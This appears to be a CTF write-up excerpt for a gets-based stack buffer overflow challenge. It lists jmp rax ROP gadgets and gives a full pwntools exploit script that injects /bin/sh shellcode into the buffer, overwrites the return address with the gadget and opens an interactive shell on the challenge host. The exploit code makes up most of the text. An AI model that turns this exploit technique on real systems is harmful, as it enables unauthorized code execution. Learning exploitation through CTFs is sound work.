This was the entire program being decompiled using Ghidra. An array of 112 size and a gets function call. Just those two things. Now something new I just learned is that the way gets works is that:
it accepts input into the buffer
it returns the pointer to the buffer
saves the buffer in RAX
Coincidentally, there was a ROP gadget that does exactly jmp rax :
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010ac : jmp rax
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
Using a shellcode stored in the beginning of the buffer, and a gadget pointing there. I built a ROP chain using pwntools:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-
# ====================
# -- PWNTOOLS SETUP --
# ====================
from pwn import *
exe = context.binary = ELF(args.EXE or 'main')
trm = context.terminal = ['tmux', 'splitw', '-h']
host = args.HOST or 'chals.bitskrieg.in'
port = int(args.PORT or 6001)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
b *vuln+29
continue
'''.format(**locals())
# =======================
# -- EXPLOIT GOES HERE --
# =======================
io = start()
OFFSET = 120
JMP_RAX = 0x00000000004010ac
payload = flat(
asm(shellcraft.sh()),
cyclic(OFFSET - len(asm(shellcraft.sh())), n=8),
JMP_RAX
)
io.sendline(payload)
io.interactive()
